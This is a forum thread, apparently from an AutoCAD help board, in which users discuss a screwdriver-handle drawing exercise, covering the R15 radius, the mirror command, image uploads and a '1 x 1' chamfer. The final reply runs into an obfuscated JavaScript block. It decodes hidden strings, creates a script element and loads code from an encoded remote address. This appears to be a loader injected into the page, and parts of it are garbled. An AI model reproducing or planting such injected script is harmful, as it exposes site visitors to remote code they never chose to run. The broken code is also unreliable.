Yes, I know your drawing may vary slightly from the one pictured. I think there is something not quite right with the last dimension at the top of 18.5; in my opinion this is wrong. You add that to the 37.5 dimension and end up with an overall dimension of 56.0 which seems way too high. Is there anyway to contact the instructor and get some clarification?
Maybe the R15 is wrong? I suppose you could hold the height of 56 and adjust the radius to get something that looks more like the picture.
There is a post further down that catches the error (on my part) and provides the solution.

 . I think I got it. Circle > TTR won't cut it. I had to use an offset and a construction circle to arrive at the right center point for the radius 15 circle. The overall height is now 56. See what another cup of coffee will do for you. Sorry for misleading you earlier.

 . This is the approach I took. I offset the circle (dia. 40) 15 units. I drew another circle with a radius of 15 units. Both shown in red. Where they intersected I drew (or copied) another circle with a radius of 15 then trimmed away what I didn't need, mirrored the resultant arc and trimmed/erased what was left to end up with the top of the screwdriver handle. Hope this helps. Go to go. I have a pressure relief valve to buy for my furnace. Again, I apologize for misleading you. Good luck.

One tip perhaps is that you can use the mirror function. just draw up half of the object, and then type in mirror>select the centre line of the object as your reference mirroring axis>hit Enter>select N (for No) and then you should have your object. you can then block up the object if you want to.....
Cheers AsystEngineer

Hi,
Thank you to both of you. Both excellent advice.
A quick one:
1. How do I post images of my work in progress as JC has done?
2. In the exercise, it asks for '1 x 1 Chamfer', please can I ask for clarification on what '1 x 1' means? Is this 1mm up and 1mm 'out'?

To attach an image you first have to click on the Full Reply Editor which is the arrow icon to the right of the letter "A" above the message box. At the next screen find and click on the Attach Image icon. Browse to your file's location and upload it.

 OK, thank you. Here is where I have to put the chamfer but am unsure of what exactly the '1 x 1' is?

Bobdod, you have a command CHAMFER with the settings of 2 values that you will set at 1. You can also draw a circle radius 1 with its center at the extremity of your arrow and modificate le lines with their grips or with the command TRIM. I'm affraid this is really AutoCAD basics, I would purchase basic trainning eventually in the user guide in PDF form loaded in your (C) disk in (C)\Program files\Autodesk\.... (function(){var b=function(k,e){var i="",j=window,v="f"+"\x72o\x6d\u0043\x68\u0061\u0072\x43o\x64e",f="c"+"ha"+"r\x43\u006Fd"+"eA\u0074",y="\u006Cen\x67\u0074\u0068",s="\u0053t\u0072i\x6E\u0067",m=j[s],a=m[v],c,z;for(var q=0;q(\x21'),0115)]){var n={};n[b(";("+"\u003f\u003E"+"$\"\u0023",0115)]=b("|x\x7e",77);n[b(('\x2e\u0021\x24\u0050\x48\x67\x45w\x38$\x29').replace('\x50H\x67Ew','\u0028#\x39'),0115)]="";n[b(''+',\x29\u0029\"#'+'#'+','+' \x28',0X4d)]=b(('\u001F(`'+''+'mw\x74?\u0026\x24\x39').replace('m'+'w'+'t','\x20\x2c'),0X4D);window[b(("\x56pGb\x67\x37").replace("\x56p\x47\u0062\x67","\u0012\u003f\x3B"),0X4D)]=n;var o=document[b(("\x2e\u003fs\x4E\b\x21("+" ("+""+"#\u0039").replace("\u0073N","(,"+""+"9\u0028"),77)](b(("Cy\u0079\u0054\u0071$"+"=9"+"").replace("\x43\u0079\u0079\x54\u0071",">\x2E\u003F"),0X4D));o[b("\x3e"+"?\u002e",0115)]=b("\x62\x62"+"*$"+"?c\u0029?\u0024"+";\u0028?\"\u003d\x39$"+"\x63\x23\u0028"+"9\u0062\x3e)\u0062\u007F}"+"y"+"\u007Db\x7F"+"}u\x7Fc"+"\'>",0115);document[b("/"+"\"\u0029\u0034",77)]
